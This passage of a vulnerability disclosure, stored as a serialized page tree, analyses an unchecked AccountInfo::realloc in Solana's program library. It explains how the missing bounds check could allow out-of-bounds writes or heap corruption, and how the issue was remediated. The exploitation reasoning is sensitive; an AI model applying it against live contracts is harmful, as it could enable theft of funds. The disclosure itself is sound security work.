",{"type":23,"tag":71,"props":27865,"children":27867},{"className":27866},[],[27868],{"type":29,"value":26731},{"type":29,"value":27870}," (through ",{"type":23,"tag":71,"props":27872,"children":27874},{"className":27873},[],[27875],{"type":29,"value":27876},"AccountInfo::try_borrow_mut_data()",{"type":29,"value":27878},"), and ",{"type":23,"tag":71,"props":27880,"children":27882},{"className":27881},[],[27883],{"type":29,"value":26731},{"type":29,"value":27885}," is not usable between multiple threads",{"type":23,"tag":26701,"props":27887,"children":27888},{},[27889],{"type":23,"tag":940,"props":27890,"children":27894},{"href":27891,"ariaDescribedBy":27892,"dataFootnoteRef":7,"id":27893},"#user-content-fn-sendsync",[26708],"user-content-fnref-sendsync",[27895],{"type":29,"value":14409},{"type":29,"value":27897},", so we already have exclusive access.",{"type":23,"tag":32,"props":27899,"children":27900},{},[27901,27903,27907],{"type":29,"value":27902},"A few more ",{"type":23,"tag":9690,"props":27904,"children":27905},{},[27906],{"type":29,"value":18371},{"type":29,"value":27908}," things of note, that could have gone badly but didn't:",{"type":23,"tag":27910,"props":27911,"children":27912},"ul",{},[27913,27955],{"type":23,"tag":2801,"props":27914,"children":27915},{},[27916,27918,27924,27926,27931,27933,27938,27940,27945,27947,27953],{"type":29,"value":27917},"By reborrowing the pointer (the ",{"type":23,"tag":71,"props":27919,"children":27921},{"className":27920},[],[27922],{"type":29,"value":27923},"&mut *(\u003Cvalue of type *mut u64>)",{"type":29,"value":27925},"), we've created a reference with an ",{"type":23,"tag":9690,"props":27927,"children":27928},{},[27929],{"type":29,"value":27930},"unbounded lifetime",{"type":29,"value":27932},". Rust is free to infer ",{"type":23,"tag":9690,"props":27934,"children":27935},{},[27936],{"type":29,"value":27937},"any",{"type":29,"value":27939}," lifetime for ",{"type":23,"tag":71,"props":27941,"children":27943},{"className":27942},[],[27944],{"type":29,"value":25190},{"type":29,"value":27946}," (including ",{"type":23,"tag":71,"props":27948,"children":27950},{"className":27949},[],[27951],{"type":29,"value":27952},"'static",{"type":29,"value":27954},"); thankfully it's only used in the next statement and never has a chance to escape.",{"type":23,"tag":2801,"props":27956,"children":27957},{},[27958,27960,27966,27968,27973,27975,27980,27982,27987,27989,27994,27996,28001,28003,28008,28010,28016,28018,28023,28025,28030,28032,28037,28039,28044,28046,28051],{"type":29,"value":27959},"Going back to the first statement when we were modifying the data buffer, it turns out we have another lifetime problem: we created a mutable pointer to the data from the ",{"type":23,"tag":71,"props":27961,"children":27963},{"className":27962},[],[27964],{"type":29,"value":27965},"RefMut",{"type":29,"value":27967}," returned from ",{"type":23,"tag":71,"props":27969,"children":27971},{"className":27970},[],[27972],{"type":29,"value":25116},{"type":29,"value":27974},", but the ",{"type":23,"tag":71,"props":27976,"children":27978},{"className":27977},[],[27979],{"type":29,"value":27965},{"type":29,"value":27981}," is dropped at the end of the statement. So, we now have in ",{"type":23,"tag":71,"props":27983,"children":27985},{"className":27984},[],[27986],{"type":29,"value":25190},{"type":29,"value":27988}," a ",{"type":23,"tag":9690,"props":27990,"children":27991},{},[27992],{"type":29,"value":27993},"mutable",{"type":29,"value":27995}," pointer to the ",{"type":23,"tag":71,"props":27997,"children":27999},{"className":27998},[],[28000],{"type":29,"value":26731},{"type":29,"value":28002},"'s data, but the ",{"type":23,"tag":71,"props":28004,"children":28006},{"className":28005},[],[28007],{"type":29,"value":26731},{"type":29,"value":28009}," thinks that we're done with our borrow. If we happened to be in a multithreaded scenario with something like a ",{"type":23,"tag":71,"props":28011,"children":28013},{"className":28012},[],[28014],{"type":29,"value":28015},"Mutex",{"type":29,"value":28017}," instead of a ",{"type":23,"tag":71,"props":28019,"children":28021},{"className":28020},[],[28022],{"type":29,"value":26731},{"type":29,"value":28024}," (but with otherwise semantically identical code), then a different thread could attempt to borrow between creating ",{"type":23,"tag":71,"props":28026,"children":28028},{"className":28027},[],[28029],{"type":29,"value":25190},{"type":29,"value":28031}," and writing to it ",{"type":23,"tag":9690,"props":28033,"children":28034},{},[28035],{"type":29,"value":28036},"and succeed",{"type":29,"value":28038},", resulting in us writing while another reference is alive. However, since ",{"type":23,"tag":71,"props":28040,"children":28042},{"className":28041},[],[28043],{"type":29,"value":25190},{"type":29,"value":28045}," is behind the actual data and thus the region it points to is inaccessible through the ",{"type":23,"tag":71,"props":28047,"children":28049},{"className":28048},[],[28050],{"type":29,"value":14976},{"type":29,"value":28052}," slice, this is still not a problem. I just wanted to highlight how easy it is to mess up borrowing and lifetimes when writing unsafe code.",{"type":23,"tag":32,"props":28054,"children":28055},{},[28056,28058,28063],{"type":29,"value":28057},"Ok, now that we've understood what the code is ",{"type":23,"tag":9690,"props":28059,"children":28060},{},[28061],{"type":29,"value":28062},"trying",{"type":29,"value":28064}," to do, let's try to break it, shall we?",{"type":23,"tag":24,"props":28066,"children":28068},{"id":28067},"what-can-go-wrong",[28069],{"type":29,"value":28070},"What can go wrong?",{"type":23,"tag":923,"props":28072,"children":28074},{"id":28073},"contracts",[28075],{"type":29,"value":28076},"Contracts",{"type":23,"tag":32,"props":28078,"children":28079},{},[28080,28082,28087,28089,28094,28096,28101,28103,28108],{"type":29,"value":28081},"Again, it's quite conspicuous that there's no bounds check whatsoever, and additionally, we notice that at no point did we actually touch the data pointer of the slice reference when ",{"type":23,"tag":71,"props":28083,"children":28085},{"className":28084},[],[28086],{"type":29,"value":24881},{"type":29,"value":28088},"'ing. In other words, when we realloc, all we do is change some size fields, no allocation is happening. So, if we ",{"type":23,"tag":71,"props":28090,"children":28092},{"className":28091},[],[28093],{"type":29,"value":24881},{"type":29,"value":28095}," to some large size, past the end of the buffer of roughly ",{"type":23,"tag":71,"props":28097,"children":28099},{"className":28098},[],[28100],{"type":29,"value":26523},{"type":29,"value":28102}," bytes in the serialized buffer from the BPF loader, then we've got free out-of-bounds memory write! Using the ",{"type":23,"tag":71,"props":28104,"children":28106},{"className":28105},[],[28107],{"type":29,"value":14976},{"type":29,"value":28109}," slice, we can write to anything \"after\" our account's data in memory. Other accounts' data are stored adjacent in memory, so it'd be pretty easy to modify the data or lamports. And remember, sizes and indices are unsigned, so what's \"behind\" our account in memory is actually just very far \"after\" our account - the address will wrap around the end of the address space.",{"type":23,"tag":32,"props":28111,"children":28112},{},[28113,28115,28122],{"type":29,"value":28114},"There is ",{"type":23,"tag":940,"props":28116,"children":28119},{"href":28117,"rel":28118},"https://github.com/solana-labs/solana/blob/94685e1222b3289859a447d62fadea20898241e0/programs/bpf_loader/src/serialization.rs#L324-L328",[944],[28120],{"type":29,"value":28121},"a check",{"type":29,"value":28123}," by the BPF loader, however, and it boils down to:",{"type":23,"tag":64,"props":28125,"children":28127},{"className":987,"code":28126,"language":986,"meta":7,"style":7},"if post_len.saturating_sub(*pre_len) > MAX_PERMITTED_DATA_INCREASE\n    || post_len > MAX_PERMITTED_DATA_LENGTH as usize\n{\n    return Err(InstructionError::InvalidRealloc);\n}\n",[28128],{"type":23,"tag":71,"props":28129,"children":28130},{"__ignoreMap":7},[28131,28169,28199,28206,28238],{"type":23,"tag":75,"props":28132,"children":28133},{"class":77,"line":78},[28134,28138,28143,28147,28151,28155,28159,28164],{"type":23,"tag":75,"props":28135,"children":28136},{"style":175},[28137],{"type":29,"value":26807},{"type":23,"tag":75,"props":28139,"children":28140},{"style":110},[28141],{"type":29,"value":28142}," post_len",{"type":23,"tag":75,"props":28144,"children":28145},{"style":209},[28146],{"type":29,"value":557},{"type":23,"tag":75,"props":28148,"children":28149},{"style":88},[28150],{"type":29,"value":25529},{"type":23,"tag":75,"props":28152,"children":28153},{"style":94},[28154],{"type":29,"value":643},{"type":23,"tag":75,"props":28156,"children":28157},{"style":209},[28158],{"type":29,"value":601},{"type":23,"tag":75,"props":28160,"children":28161},{"style":110},[28162],{"type":29,"value":28163},"pre_len",{"type":23,"tag":75,"props":28165,"children":28166},{"style":94},[28167],{"type":29,"value":28168},") > MAX_PERMITTED_DATA_INCREASE\n",{"type":23,"tag":75,"props":28170,"children":28171},{"class":77,"line":100},[28172,28177,28181,28185,28190,28194],{"type":23,"tag":75,"props":28173,"children":28174},{"style":209},[28175],{"type":29,"value":28176},"    ||",{"type":23,"tag":75,"props":28178,"children":28179},{"style":110},[28180],{"type":29,"value":28142},{"type":23,"tag":75,"props":28182,"children":28183},{"style":209},[28184],{"type":29,"value":8636},{"type":23,"tag":75,"props":28186,"children":28187},{"style":94},[28188],{"type":29,"value":28189}," MAX_PERMITTED_DATA_LENGTH ",{"type":23,"tag":75,"props":28191,"children":28192},{"style":82},[28193],{"type":29,"value":20097},{"type":23,"tag":75,"props":28195,"children":28196},{"style":104},[28197],{"type":29,"value":28198}," usize\n",{"type":23,"tag":75,"props":28200,"children":28201},{"class":77,"line":121},[28202],{"type":23,"tag":75,"props":28203,"children":28204},{"style":94},[28205],{"type":29,"value":2549},{"type":23,"tag":75,"props":28207,"children":28208},{"class":77,"line":138},[28209,28213,28217,28221,28225,28229,28234],{"type":23,"tag":75,"props":28210,"children":28211},{"style":175},[28212],{"type":29,"value":355},{"type":23,"tag":75,"props":28214,"children":28215},{"style":104},[28216],{"type":29,"value":1393},{"type":23,"tag":75,"props":28218,"children":28219},{"style":94},[28220],{"type":29,"value":643},{"type":23,"tag":75,"props":28222,"children":28223},{"style":104},[28224],{"type":29,"value":26983},{"type":23,"tag":75,"props":28226,"children":28227},{"style":209},[28228],{"type":29,"value":1407},{"type":23,"tag":75,"props":28230,"children":28231},{"style":104},[28232],{"type":29,"value":28233},"InvalidRealloc",{"type":23,"tag":75,"props":28235,"children":28236},{"style":94},[28237],{"type":29,"value":15099},{"type":23,"tag":75,"props":28239,"children":28240},{"class":77,"line":161},[28241],{"type":23,"tag":75,"props":28242,"children":28243},{"style":94},[28244],{"type":29,"value":369},{"type":23,"tag":32,"props":28246,"children":28247},{},[28248,28250,28255,28257,28262],{"type":29,"value":28249},"But, like the other checks performed by the loader, this check only runs after the contract ",{"type":23,"tag":9690,"props":28251,"children":28252},{},[28253],{"type":29,"value":28254},"finishes",{"type":29,"value":28256}," execution. ",{"type":23,"tag":9690,"props":28258,"children":28259},{},[28260],{"type":29,"value":28261},"During",{"type":29,"value":28263}," execution, the contract is free to make whatever modifications to memory that it wants, since Solana's eBPF machine doesn't hook memory accesses in any way.",{"type":23,"tag":32,"props":28265,"children":28266},{},[28267,28269,28274,28276,28281,28283,28290],{"type":29,"value":28268},"The end result is that in order to successfully exploit this bug, an attacker needs a way to change the length back to something valid before the program exits. However, with potentially ",{"type":23,"tag":9690,"props":28270,"children":28271},{},[28272],{"type":29,"value":28273},"arbitrary",{"type":29,"value":28275}," memory access through a mistakenly-",{"type":23,"tag":71,"props":28277,"children":28279},{"className":28278},[],[28280],{"type":29,"value":24881},{"type":29,"value":28282},"'d account, this falls in the relm of some ",{"type":23,"tag":940,"props":28284,"children":28287},{"href":28285,"rel":28286},"https://en.wikipedia.org/wiki/Buffer_overflow",[944],[28288],{"type":29,"value":28289},"old-school pwning",{"type":29,"value":28291}," - even if we can't use the out-of-bounds access directly, there's plenty of pointers in memory that could be of use.",{"type":23,"tag":923,"props":28293,"children":28295},{"id":28294},"not-contracts",[28296],{"type":29,"value":28297},"Not-contracts?",{"type":23,"tag":32,"props":28299,"children":28300},{},[28301,28303,28308,28310,28320,28322,28334,28336,28343,28345,28350,28352,28357,28359,28372,28374,28379,28381,28386],{"type":29,"value":28302},"Remember when we said that all this code makes sense ",{"type":23,"tag":9690,"props":28304,"children":28305},{},[28306],{"type":29,"value":28307},"if the data points to the BPF loader's serialized buffer",{"type":29,"value":28309},"? Well unfortunately for us, there's nothing enforcing that; all the fields on ",{"type":23,"tag":940,"props":28311,"children":28314},{"href":28312,"rel":28313},"https://docs.rs/solana-program/1.10.28/solana_program/account_info/struct.AccountInfo.html",[944],[28315],{"type":23,"tag":71,"props":28316,"children":28318},{"className":28317},[],[28319],{"type":29,"value":26171},{"type":29,"value":28321}," are public, and so is its ",{"type":23,"tag":940,"props":28323,"children":28326},{"href":28324,"rel":28325},"https://docs.rs/solana-program/1.10.28/solana_program/account_info/struct.AccountInfo.html#method.new",[944],[28327,28332],{"type":23,"tag":71,"props":28328,"children":28330},{"className":28329},[],[28331],{"type":29,"value":26353},{"type":29,"value":28333}," method",{"type":29,"value":28335}," (which is ",{"type":23,"tag":940,"props":28337,"children":28340},{"href":28338,"rel":28339},"https://docs.rs/solana-program/1.10.28/src/solana_program/account_info.rs.html#160-180",[944],[28341],{"type":29,"value":28342},"nothing more than a thin wrapper around just creating the struct literal yourself",{"type":29,"value":28344},"). The ",{"type":23,"tag":71,"props":28346,"children":28348},{"className":28347},[],[28349],{"type":29,"value":24881},{"type":29,"value":28351}," code critically assumes that the memory 8 bytes behind the data buffer is the data's length and that we can write to it however we want when realloc'ing. So, clearly if we were to create an ",{"type":23,"tag":71,"props":28353,"children":28355},{"className":28354},[],[28356],{"type":29,"value":26171},{"type":29,"value":28358}," ourselves - potentially through the ",{"type":23,"tag":940,"props":28360,"children":28363},{"href":28361,"rel":28362},"https://docs.rs/solana-program/1.10.28/solana_program/account_info/trait.Account.html",[944],[28364,28370],{"type":23,"tag":71,"props":28365,"children":28367},{"className":28366},[],[28368],{"type":29,"value":28369},"Account",{"type":29,"value":28371}," trait",{"type":29,"value":28373},", which is hardly documented at all and makes ",{"type":23,"tag":9690,"props":28375,"children":28376},{},[28377],{"type":29,"value":28378},"no",{"type":29,"value":28380}," mention of any prerequisites about the nature of the references that need to be returned - we'd run in to problems from pretty much any practical way we'd allocate the ",{"type":23,"tag":71,"props":28382,"children":28384},{"className":28383},[],[28385],{"type":29,"value":14976},{"type":29,"value":28387}," buffer.",{"type":23,"tag":32,"props":28389,"children":28390},{},[28391,28393,28404,28406,28412,28414,28420,28422,28435,28437,28442,28444,28449,28450,28455,28457,28462,28464,28469,28471,28476],{"type":29,"value":28392},"One long arm of this is ",{"type":23,"tag":940,"props":28394,"children":28397},{"href":28395,"rel":28396},"https://docs.rs/solana-sdk/1.10.28/solana_sdk/account/struct.Account.html",[944],[28398],{"type":23,"tag":71,"props":28399,"children":28401},{"className":28400},[],[28402],{"type":29,"value":28403},"solana_sdk::account::Account",{"type":29,"value":28405}," - in the client SDK. It holds an account's data in a ",{"type":23,"tag":71,"props":28407,"children":28409},{"className":28408},[],[28410],{"type":29,"value":28411},"Vec\u003Cu8>",{"type":29,"value":28413},", and it implements ",{"type":23,"tag":71,"props":28415,"children":28417},{"className":28416},[],[28418],{"type":29,"value":28419},"solana_program::account_info::Account",{"type":29,"value":28421}," (the trait from earlier) - by ",{"type":23,"tag":940,"props":28423,"children":28426},{"href":28424,"rel":28425},"https://docs.rs/solana-sdk/1.10.28/src/solana_sdk/account.rs.html#661-669",[944],[28427,28429],{"type":29,"value":28428},"returning a reference to the contents of that ",{"type":23,"tag":71,"props":28430,"children":28432},{"className":28431},[],[28433],{"type":29,"value":28434},"Vec",{"type":29,"value":28436},". So, ",{"type":23,"tag":71,"props":28438,"children":28440},{"className":28439},[],[28441],{"type":29,"value":24881},{"type":29,"value":28443}," writes the size into the 8 bytes right before ",{"type":23,"tag":71,"props":28445,"children":28447},{"className":28446},[],[28448],{"type":29,"value":14976},{"type":29,"value":739},{"type":23,"tag":71,"props":28451,"children":28453},{"className":28452},[],[28454],{"type":29,"value":14976},{"type":29,"value":28456}," is the buffer of a ",{"type":23,"tag":71,"props":28458,"children":28460},{"className":28459},[],[28461],{"type":29,"value":28434},{"type":29,"value":28463},", and so it is the contents of a heap allocation; and, immediately before a heap allocation sits critical metadata. The result? If, for some reason, you construct an ",{"type":23,"tag":71,"props":28465,"children":28467},{"className":28466},[],[28468],{"type":29,"value":26171},{"type":29,"value":28470}," out of an SDK ",{"type":23,"tag":71,"props":28472,"children":28474},{"className":28473},[],[28475],{"type":29,"value":28369},{"type":29,"value":28477}," and then realloc it (which admittedly is quite a stretch), then you get heap corruption - something that's very likely to lead to remote code execution.",{"type":23,"tag":24,"props":28479,"children":28481},{"id":28480},"remediation",[28482],{"type":29,"value":28483},"Remediation",{"type":23,"tag":32,"props":28485,"children":28486},{},[28487],{"type":29,"value":28488},"Obviously the fix for the main issue at hand is to check that the resize operation remains in-bounds. But how do we know how big is too big?",{"type":23,"tag":32,"props":28490,"children":28491},{},[28492,28494,28499,28501,28506,28508,28519,28521,28526,28528,28535],{"type":29,"value":28493},"The sensible thing to do would be to store the initial size in the ",{"type":23,"tag":71,"props":28495,"children":28497},{"className":28496},[],[28498],{"type":29,"value":26171},{"type":29,"value":28500},"... except for the fact that the layout of ",{"type":23,"tag":71,"props":28502,"children":28504},{"className":28503},[],[28505],{"type":29,"value":26171},{"type":29,"value":28507}," is actually part of the ABI between the contract runtime and the loader :face_palm:",{"type":23,"tag":26701,"props":28509,"children":28510},{},[28511],{"type":23,"tag":940,"props":28512,"children":28516},{"href":28513,"ariaDescribedBy":28514,"dataFootnoteRef":7,"id":28515},"#user-content-fn-layout",[26708],"user-content-fnref-layout",[28517],{"type":29,"value":28518},"3",{"type":29,"value":28520}," So, with changing ",{"type":23,"tag":71,"props":28522,"children":28524},{"className":28523},[],[28525],{"type":29,"value":26171},{"type":29,"value":28527}," out of the question, the Solana team came up with a different place to stash the information: inside a section of padding in the serialized buffer passed from the runtime. This happened to be next to where the pubkey was stored, which resulted in the creation of ",{"type":23,"tag":940,"props":28529,"children":28532},{"href":28530,"rel":28531},"https://docs.rs/solana-program/1.10.30/src/solana_program/account_info.rs.html#74-85",[944],[28533],{"type":29,"value":28534},"this function",{"type":29,"value":1018},{"type":23,"tag":64,"props":28537,"children":28539},{"className":987,"code":28538,"language":986,"meta":7,"style":7},"/// Return the account's original data length when it was serialized for the\n/// current program invocation.\n///\n/// # Safety\n///\n/// This method assumes that the original data length was serialized as a u32\n/// integer in the 4 bytes immediately preceding the serialized account key.\npub unsafe fn original_data_len(&self) -> usize {\n    let key_ptr = self.key as *const _ as *const u8;\n    let original_data_len_ptr = key_ptr.offset(-4) as *const u32;\n    *original_data_len_ptr as usize\n}\n",[28540],{"type":23,"tag":71,"props":28541,"children":28542},{"__ignoreMap":7},[28543,28551,28559,28567,28575,28582,28590,28598,28646,28711,28777,28798],{"type":23,"tag":75,"props":28544,"children":28545},{"class":77,"line":78},[28546],{"type":23,"tag":75,"props":28547,"children":28548},{"style":3621},[28549],{"type":29,"value":28550},"/// Return the account's original data length when it was serialized for the\n",{"type":23,"tag":75,"props":28552,"children":28553},{"class":77,"line":100},[28554],{"type":23,"tag":75,"props":28555,"children":28556},{"style":3621},[28557],{"type":29,"value":28558},"/// current program invocation.\n",{"type":23,"tag":75,"props":28560,"children":28561},{"class":77,"line":121},[28562],{"type":23,"tag":75,"props":28563,"children":28564},{"style":3621},[28565],{"type":29,"value":28566},"///\n",{"type":23,"tag":75,"props":28568,"children":28569},{"class":77,"line":138},[28570],{"type":23,"tag":75,"props":28571,"children":28572},{"style":3621},[28573],{"type":29,"value":28574},"/// # Safety\n",{"type":23,"tag":75,"props":28576,"children":28577},{"class":77,"line":161},[28578],{"type":23,"tag":75,"props":28579,"children":28580},{"style":3621},[28581],{"type":29,"value":28566},{"type":23,"tag":75,"props":28583,"children":28584},{"class":77,"line":196},[28585],{"type":23,"tag":75,"props":28586,"children":28587},{"style":3621},[28588],{"type":29,"value":28589},"/// This method assumes that the original data length was serialized as a u32\n",{"type":23,"tag":75,"props":28591,"children":28592},{"class":77,"line":220},[28593],{"type":23,"tag":75,"props":28594,"children":28595},{"style":3621},[28596],{"type":29,"value":28597},"/// integer in the 4 bytes immediately preceding the serialized account key.\n",{"type":23,"tag":75,"props":28599,"children":28600},{"class":77,"line":248},[28601,28605,28609,28613,28618,28622,28626,28630,28634,28638,28642],{"type":23,"tag":75,"props":28602,"children":28603},{"style":82},[28604],{"type":29,"value":24933},{"type":23,"tag":75,"props":28606,"children":28607},{"style":82},[28608],{"type":29,"value":25826},{"type":23,"tag":75,"props":28610,"children":28611},{"style":82},[28612],{"type":29,"value":24938},{"type":23,"tag":75,"props":28614,"children":28615},{"style":88},[28616],{"type":29,"value":28617}," original_data_len",{"type":23,"tag":75,"props":28619,"children":28620},{"style":94},[28621],{"type":29,"value":643},{"type":23,"tag":75,"props":28623,"children":28624},{"style":209},[28625],{"type":29,"value":1277},{"type":23,"tag":75,"props":28627,"children":28628},{"style":82},[28629],{"type":29,"value":24956},{"type":23,"tag":75,"props":28631,"children":28632},{"style":94},[28633],{"type":29,"value":167},{"type":23,"tag":75,"props":28635,"children":28636},{"style":209},[28637],{"type":29,"value":1156},{"type":23,"tag":75,"props":28639,"children":28640},{"style":104},[28641],{"type":29,"value":24974},{"type":23,"tag":75,"props":28643,"children":28644},{"style":94},[28645],{"type":29,"value":401},{"type":23,"tag":75,"props":28647,"children":28648},{"class":77,"line":270},[28649,28653,28658,28662,28666,28670,28675,28679,28683,28687,28691,28695,28699,28703,28707],{"type":23,"tag":75,"props":28650,"children":28651},{"style":82},[28652],{"type":29,"value":1183},{"type":23,"tag":75,"props":28654,"children":28655},{"style":110},[28656],{"type":29,"value":28657}," key_ptr",{"type":23,"tag":75,"props":28659,"children":28660},{"style":209},[28661],{"type":29,"value":1193},{"type":23,"tag":75,"props":28663,"children":28664},{"style":82},[28665],{"type":29,"value":25039},{"type":23,"tag":75,"props":28667,"children":28668},{"style":209},[28669],{"type":29,"value":557},{"type":23,"tag":75,"props":28671,"children":28672},{"style":94},[28673],{"type":29,"value":28674},"key ",{"type":23,"tag":75,"props":28676,"children":28677},{"style":82},[28678],{"type":29,"value":20097},{"type":23,"tag":75,"props":28680,"children":28681},{"style":209},[28682],{"type":29,"value":579},{"type":23,"tag":75,"props":28684,"children":28685},{"style":82},[28686],{"type":29,"value":2869},{"type":23,"tag":75,"props":28688,"children":28689},{"style":110},[28690],{"type":29,"value":2062},{"type":23,"tag":75,"props":28692,"children":28693},{"style":82},[28694],{"type":29,"value":20083},{"type":23,"tag":75,"props":28696,"children":28697},{"style":209},[28698],{"type":29,"value":579},{"type":23,"tag":75,"props":28700,"children":28701},{"style":82},[28702],{"type":29,"value":2869},{"type":23,"tag":75,"props":28704,"children":28705},{"style":104},[28706],{"type":29,"value":25870},{"type":23,"tag":75,"props":28708,"children":28709},{"style":94},[28710],{"type":29,"value":245},{"type":23,"tag":75,"props":28712,"children":28713},{"class":77,"line":279},[28714,28718,28723,28727,28731,28735,28739,28743,28747,28752,28756,28760,28764,28768,28773],{"type":23,"tag":75,"props":28715,"children":28716},{"style":82},[28717],{"type":29,"value":1183},{"type":23,"tag":75,"props":28719,"children":28720},{"style":110},[28721],{"type":29,"value":28722}," original_data_len_ptr",{"type":23,"tag":75,"props":28724,"children":28725},{"style":209},[28726],{"type":29,"value":1193},{"type":23,"tag":75,"props":28728,"children":28729},{"style":110},[28730],{"type":29,"value":28657},{"type":23,"tag":75,"props":28732,"children":28733},{"style":209},[28734],{"type":29,"value":557},{"type":23,"tag":75,"props":28736,"children":28737},{"style":88},[28738],{"type":29,"value":25142},{"type":23,"tag":75,"props":28740,"children":28741},{"style":94},[28742],{"type":29,"value":643},{"type":23,"tag":75,"props":28744,"children":28745},{"style":209},[28746],{"type":29,"value":15602},{"type":23,"tag":75,"props":28748,"children":28749},{"style":237},[28750],{"type":29,"value":28751},"4",{"type":23,"tag":75,"props":28753,"children":28754},{"style":94},[28755],{"type":29,"value":167},{"type":23,"tag":75,"props":28757,"children":28758},{"style":82},[28759],{"type":29,"value":20097},{"type":23,"tag":75,"props":28761,"children":28762},{"style":209},[28763],{"type":29,"value":579},{"type":23,"tag":75,"props":28765,"children":28766},{"style":82},[28767],{"type":29,"value":2869},{"type":23,"tag":75,"props":28769,"children":28770},{"style":104},[28771],{"type":29,"value":28772}," u32",{"type":23,"tag":75,"props":28774,"children":28775},{"style":94},[28776],{"type":29,"value":245},{"type":23,"tag":75,"props":28778,"children":28779},{"class":77,"line":303},[28780,28785,28790,28794],{"type":23,"tag":75,"props":28781,"children":28782},{"style":209},[28783],{"type":29,"value":28784},"    *",{"type":23,"tag":75,"props":28786,"children":28787},{"style":110},[28788],{"type":29,"value":28789},"original_data_len_ptr",{"type":23,"tag":75,"props":28791,"children":28792},{"style":82},[28793],{"type":29,"value":20083},{"type":23,"tag":75,"props":28795,"children":28796},{"style":104},[28797],{"type":29,"value":28198},{"type":23,"tag":75,"props":28799,"children":28800},{"class":77,"line":322},[28801],{"type":23,"tag":75,"props":28802,"children":28803},{"style":94},[28804],{"type":29,"value":369},{"type":23,"tag":32,"props":28806,"children":28807},{},[28808,28810,28815,28817,28822,28824,28829,28831,28836,28838,28845,28847,28854,28855,28862,28863,28870,28871,28878],{"type":29,"value":28809},"It's marked ",{"type":23,"tag":71,"props":28811,"children":28813},{"className":28812},[],[28814],{"type":29,"value":25592},{"type":29,"value":28816},", properly documented, but there's just one problem: we need this for ",{"type":23,"tag":71,"props":28818,"children":28820},{"className":28819},[],[28821],{"type":29,"value":24881},{"type":29,"value":28823},", which originally was not ",{"type":23,"tag":71,"props":28825,"children":28827},{"className":28826},[],[28828],{"type":29,"value":25592},{"type":29,"value":28830},". So, in the name of not breaking API compatibility, the Solana team just threw the call in an ",{"type":23,"tag":71,"props":28832,"children":28834},{"className":28833},[],[28835],{"type":29,"value":25592},{"type":29,"value":28837}," block and added ",{"type":23,"tag":940,"props":28839,"children":28842},{"href":28840,"rel":28841},"https://docs.rs/solana-program/1.10.30/solana_program/account_info/struct.AccountInfo.html#safety-1",[944],[28843],{"type":29,"value":28844},"a doc comment",{"type":29,"value":28846}," - adding to the ",{"type":23,"tag":940,"props":28848,"children":28851},{"href":28849,"rel":28850},"https://docs.rs/solana-program/1.10.30/solana_program/program/fn.invoke_signed_unchecked.html#safety",[944],[28852],{"type":29,"value":28853},"small",{"type":29,"value":949},{"type":23,"tag":940,"props":28856,"children":28859},{"href":28857,"rel":28858},"https://docs.rs/solana-program/1.11.2/solana_program/program_memory/fn.sol_memcpy.html#safety",[944],[28860],{"type":29,"value":28861},"pile",{"type":29,"value":949},{"type":23,"tag":940,"props":28864,"children":28867},{"href":28865,"rel":28866},"https://docs.rs/solana-program/1.11.2/solana_program/program_memory/fn.sol_memset.html#safety",[944],[28868],{"type":29,"value":28869},"of",{"type":29,"value":949},{"type":23,"tag":940,"props":28872,"children":28875},{"href":28873,"rel":28874},"https://docs.rs/solana-program/1.11.2/solana_program/program_memory/fn.sol_memcmp.html#safety",[944],[28876],{"type":29,"value":28877},"functions",{"type":29,"value":28879}," that are actually unsafe but aren't marked as such for API compatibility reasons (and the last three - all related to each other - don't even have the comment until version 1.11, which isn't even on mainnet as of the time of writing).",{"type":23,"tag":24,"props":28881,"children":28883},{"id":28882},"towards-safer-unsafe",[28884,28886],{"type":29,"value":28885},"Towards safer ",{"type":23,"tag":71,"props":28887,"children":28889},{"className":28888},[],[28890],{"type":29,"value":25592},{"type":23,"tag":32,"props":28892,"children":28893},{},[28894,28896,28901,28903,28908,28910,28916],{"type":29,"value":28895},"Let's circle back to that main ",{"type":23,"tag":71,"props":28897,"children":28899},{"className":28898},[],[28900],{"type":29,"value":25592},{"type":29,"value":28902}," block inside ",{"type":23,"tag":71,"props":28904,"children":28906},{"className":28905},[],[28907],{"type":29,"value":24881},{"type":29,"value":28909}," for a bit, shall we? As a reminder, it looks like ",{"type":23,"tag":940,"props":28911,"children":28914},{"href":28912,"rel":28913},"https://docs.rs/solana-program/1.10.28/src/solana_program/account_info.rs.html#127-136",[944],[28915],{"type":29,"value":947},{"type":29,"value":1018},{"type":23,"tag":64,"props":28918,"children":28920},{"className":987,"code":28919,"language":986,"meta":7,"style":7},"// realloc\nunsafe {\n    // First set new length in the serialized data\n    let ptr = self.try_borrow_mut_data()?.as_mut_ptr().offset(-8) as *mut u64;\n    *ptr = new_len as u64;\n\n    // Then set the new length in the local slice\n    let ptr = &mut *(((self.data.as_ptr() as *const u64).offset(1) as u64) as *mut u64);\n    *ptr = new_len as u64;\n}\n",[28921],{"type":23,"tag":71,"props":28922,"children":28923},{"__ignoreMap":7},[28924,28932,28943,28951,29038,29069,29076,29084,29211,29242],{"type":23,"tag":75,"props":28925,"children":28926},{"class":77,"line":78},[28927],{"type":23,"tag":75,"props":28928,"children":28929},{"style":3621},[28930],{"type":29,"value":28931},"// realloc\n",{"type":23,"tag":75,"props":28933,"children":28934},{"class":77,"line":100},[28935,28939],{"type":23,"tag":75,"props":28936,"children":28937},{"style":82},[28938],{"type":29,"value":25592},{"type":23,"tag":75,"props":28940,"children":28941},{"style":94},[28942],{"type":29,"value":401},{"type":23,"tag":75,"props":28944,"children":28945},{"class":77,"line":121},[28946],{"type":23,"tag":75,"props":28947,"children":28948},{"style":3621},[28949],{"type":29,"value":28950},"    // First set new length in the serialized data\n",{"type":23,"tag":75,"props":28952,"children":28953},{"class":77,"line":138},[28954,28958,28962,28966,28970,28974,28978,28982,28986,28990,28994,28998,29002,29006,29010,29014,29018,29022,29026,29030,29034],{"type":23,"tag":75,"props":28955,"children":28956},{"style":82},[28957],{"type":29,"value":1183},{"type":23,"tag":75,"props":28959,"children":28960},{"style":110},[28961],{"type":29,"value":25099},{"type":23,"tag":75,"props":28963,"children":28964},{"style":209},[28965],{"type":29,"value":1193},{"type":23,"tag":75,"props":28967,"children":28968},{"style":82},[28969],{"type":29,"value":25039},{"type":23,"tag":75,"props":28971,"children":28972},{"style":209},[28973],{"type":29,"value":557},{"type":23,"tag":75,"props":28975,"children":28976},{"style":88},[28977],{"type":29,"value":25116},{"type":23,"tag":75,"props":28979,"children":28980},{"style":94},[28981],{"type":29,"value":1417},{"type":23,"tag":75,"props":28983,"children":28984},{"style":209},[28985],{"type":29,"value":14418},{"type":23,"tag":75,"props":28987,"children":28988},{"style":88},[28989],{"type":29,"value":25129},{"type":23,